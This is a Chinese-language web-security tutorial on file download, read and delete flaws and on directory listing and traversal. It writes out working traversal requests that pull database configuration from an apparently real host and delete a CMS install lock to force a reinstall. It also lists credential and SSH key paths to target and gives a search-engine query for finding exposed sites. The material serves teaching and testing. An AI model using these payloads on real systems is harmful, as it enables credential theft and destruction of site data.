051-WEB攻防-前后台功能点&文件下载&文件读取&文件删除&目录遍历&目录穿越
可跳转目录
一、知识点概览
- 文件安全-前后台功能点:文件下载、文件读取、文件删除
- 目录安全-前后台功能点:目录遍历、目录穿越
二、演示案例
- 文件安全-下载&删除-案例黑白盒
- 目录安全-遍历&穿越-案例黑白盒
三、文件安全-下载&删除-黑白盒
3.1 文件下载(等同于文件读取,获取源码/敏感信息)
文件下载漏洞的核心利用场景:通过可控的文件路径参数,下载服务器上的敏感文件(如数据库配置文件、中间件配置、系统密钥等),获取核心信息后进一步渗透。

漏洞演示(以实际URL为例)
- 常规访问无漏洞:直接访问文件下载页面
https://67.202.70.133/files/readfile.php,服务器会默认将其作为PHP脚本解析,无法下载源码或敏感文件。

- 可控路径触发漏洞:在URL后添加文件路径参数
?file=目标文件名,即可下载对应文件:
- 下载当前目录源码:
https://67.202.70.133/files/readfile.php?file=readfile.php(本地获取源码,查看文件下载逻辑) - 跨目录下载主页:
https://67.202.70.133/files/readfile.php?file=../index.php(通过../跳转上级目录,下载网站首页文件) - 下载数据库配置文件:
https://67.202.70.133/files/readfile.php?file=../configuration.php
从index.php源码可判断网站由 Joomla 搭建,而configuration.php是Joomla默认数据库配置文件,下载后可获取数据库用户名、密码等隐私信息。






3.2 文件读取(敏感路径汇总)
文件读取漏洞与文件下载漏洞原理类似,均通过可控路径访问服务器本地文件,以下是不同系统下的常见敏感文件路径,可用于渗透测试中精准读取关键信息:
Windows系统敏感路径
C:\boot.ini:查看Windows系统版本(如Windows 10/Server 2019)C:\Windows\System32\inetsrv\MetaBase.xml:IIS服务器配置文件(含站点绑定、权限等)C:\Windows\repair\sam:存储系统初次安装时的用户密码哈希(可破解获取管理员密码)C:\Program Files\mysql\my.ini:MySQL数据库配置文件(含端口、用户名、密码)C:\Program Files\mysql\data\mysql\user.MYD:MySQL用户表数据文件(含root用户密码哈希)C:\Windows\php.ini:PHP运行环境配置文件(含扩展、上传限制等)C:\Windows\my.ini:MySQL备用配置文件(部分环境下存在)
Linux/Unix系统敏感路径
/root/.ssh/authorized_keys:SSH授权密钥文件(添加公钥可免密登录远程主机)/root/.ssh/id_rsa:SSH私钥文件(获取后可直接登录对应主机)/root/.ssh/id_ras.keystore:记录访问用户的SSH公钥(可用于横向渗透)/root/.ssh/known_hosts:记录已访问主机的SSH公钥(可识别目标曾连接的其他主机)/etc/passwd:系统用户账户信息文件(含用户名、UID、家目录等,可枚举用户)/etc/shadow:系统用户密码哈希文件(需root权限读取,破解后可获取用户密码)/etc/my.cnf:MySQL数据库主配置文件(含数据库路径、端口、权限配置)/etc/httpd/conf/httpd.conf:Apache服务器主配置文件(含站点目录、端口、模块等)/root/.bash_history:root用户的历史命令记录(可获取目标曾执行的操作,如数据库登录、文件修改)/root/.mysql_history:MySQL历史命令记录(可获取数据库操作记录,如SQL语句、表结构)/proc/self/fd/fd[0-9]*:当前进程的文件标识符(可能泄露临时文件、网络连接等信息)/proc/mounts:系统挂载设备记录(可识别存储设备、共享目录等)/proc/config.gz:Linux内核配置文件(含内核编译选项,可判断是否存在内核漏洞)/var/lib/mlocate/mlocate.db:系统全文件路径索引(可快速查找敏感文件位置)/proc/self/cmdline:当前进程的命令行参数(可获取进程启动命令,如Web服务启动参数)
靶场实战(PortSwigger实验室)
- 靶场访问:注册并登录 PortSwigger Web Security Academy(建议用Gmail注册,避免验证邮件无法接收),选择“文件路径遍历,简单案例”实验室。
- 漏洞触发:访问实验室页面,任意点击图片,发现图片URL含可控参数
filename,如https://0ae3006a032d097482c3eea700df003b.web-security-academy.net/image?filename=20.jpg。 - 读取敏感文件:用Burp抓包,修改
filename参数为Linux敏感路径../../../etc/passwd(通过../跳转上级目录,绕过路径限制),发送请求后,响应中会显示系统用户账户信息,证明文件读取漏洞存在。



3.3 文件删除(后台高危操作,常配合重装)
文件删除漏洞多存在于网站后台(如“文件管理”“模板管理”功能),攻击者通过篡改删除路径,删除服务器关键文件(如安装锁定文件、首页源码),可能导致网站崩溃或触发重装流程,属于高危漏洞(实际利用中需谨慎,易造成破坏性影响)。
漏洞演示(后台文件删除功能)
- 正常删除操作:登录网站后台,找到“文件删除”功能(如模板文件删除),点击删除按钮,用Burp抓包,观察数据包中的删除路径参数,例如:
GET /gws3vo/admin_template.php?action=del&filedir=../templets/default/test.txt HTTP/1.1。 - 篡改路径删除关键文件:
- 目标文件:
install_lock.txt(安装锁定文件,多数CMS会创建该文件防止重复安装,删除后可触发网站重装)。 - 路径试探:由于后台可能对删除路径有过滤,通过增减
../调整路径,最终构造有效URL:GET /gws3vo/admin_template.php?action=del&filedir=../templets../../install/install_lock.txt HTTP/1.1。
- 目标文件:
- 验证结果:发送请求后,查看服务器
install目录下的install_lock.txt文件已被删除,再次访问install目录,网站提示“需要重装”,证明删除操作成功。 - 破坏性影响:若删除首页文件
index.php,会导致网站首页无法访问(无图形化界面,仅显示错误或空白),造成业务中断。








四、目录安全-遍历&穿越-黑白盒
4.1 目录遍历(权限不当暴露目录结构)
目录遍历漏洞的核心原因:服务器开启目录索引功能(当访问的目录中无默认索引文件,如 index.html、index.php 时,服务器会自动列出目录内的文件和子目录),导致目录结构、文件列表暴露,攻击者可据此寻找敏感文件(如备份文件、配置文件)。
漏洞特征与利用
- 目录索引开启标识:访问目录URL(如
http://目标IP/files/)时,页面显示类似“Index of /files”的标题,下方列出目录内所有文件/子目录,证明目录索引已开启。 - 敏感文件挖掘:通过目录遍历,攻击者可查找:
- 数据库备份文件(如
db_backup.sql、backup_2024.sql) - 配置文件(如
config.php、setting.ini) - 日志文件(如
access.log、error.log)
- 数据库备份文件(如
- 批量查找工具/语法:用FOFA搜索引擎批量查找存在目录遍历的网站,FOFA语法:
"index of /" && title=="Index of /" && country="CN"(筛选中国境内开启目录索引的网站)。



4.2 目录穿越(操纵路径访问未授权目录)
目录穿越漏洞(又称“路径穿越”)的核心原因:应用程序对用户输入的目录路径验证不严格,攻击者通过操纵路径参数(如增减 ../),绕过预设的目录限制,访问服务器上未授权的目录,属于比目录遍历更具攻击性的漏洞(可直接访问后台目录、系统目录)。
漏洞演示(后台目录访问功能)
-
正常访问限制:后台“模板管理”功能仅允许访问
default目录及子目录,正常URL:http://192.168.137.1:86/gws3vo/admin_template.php?path=../templets/default/html(仅能查看default/html下的文件)。

-
路径操纵突破限制:
- 跨目录访问其他模板目录:
http://192.168.137.1:86/gws3vo/admin_template.php?path=../templets/other/html(通过调整路径,访问other模板目录,绕过default限制)。 - 访问系统根目录:
http://192.168.137.1:86/gws3vo/admin_template.php?path=../templets/../../../../../(通过多个../跳转,最终访问Linux系统根目录/,可查看系统级目录如etc、root)。


- 跨目录访问其他模板目录:
-
漏洞本质:应用程序未对
path参数中的../进行过滤或解析,导致攻击者可自由跳转目录,访问未授权资源。
五、黑盒分析方法
黑盒分析(无源码情况下)的核心:通过功能点识别和URL特征匹配,快速定位文件/目录相关漏洞,具体方法如下:
1. 功能点识别
重点关注网站前后台中含以下功能的模块,这些模块是文件/目录漏洞的高发区:
- 文件上传(如“头像上传”“附件上传”)
- 文件下载(如“文档下载”“备份下载”)
- 文件删除(如“文件管理”“模板删除”)
- 文件管理器(如“在线文件编辑”“目录查看”)
2. URL特征匹配
通过URL中的关键词判断是否存在可控路径/文件参数,常见关键词如下:
| 类型 | 常见关键词(URL路径/参数名) |
|---|---|
| 文件名相关 | download、down、readfile、read、del、dir、path、src、Lang |
| 参数名相关 | file、path、data、filepath、readfile、url、realpath、filename、dirpath |
示例:若URL含 ?file=xxx、?path=xxx、/download?filename=xxx,则大概率存在文件下载/读取/目录穿越漏洞,可尝试篡改参数值(如替换为 ../etc/passwd、../config.php)验证漏洞。
六、白盒分析方法
白盒分析(有源码情况下)的核心:通过搜索关键函数,定位文件/目录操作逻辑,判断是否存在参数未验证、路径未过滤等问题,常见关键函数如下:
| 操作类型 | 常见关键函数(不同语言) |
|---|---|
| 文件上传 | PHP:move_uploaded_file();Java:transferTo()、write();Python:save()、write() |
| 文件下载 | PHP:readfile()、fread();Java:FileInputStream()、BufferedReader() |
| 文件删除 | PHP:unlink();Java:delete();Python:os.remove()、os.unlink() |
| 目录操作 | PHP:scandir()、opendir();Java:listFiles();Python:os.listdir()、os.scandir() |
| 文件读取 | PHP:file_get_contents()、fgets();Java:read();Python:open()、read() |
分析逻辑:找到上述函数后,检查函数的参数是否来自用户可控输入(如 $_GET['file']、request.getParameter("path")),若未对参数进行路径过滤(如过滤 ../、限制访问目录),则存在文件/目录漏洞。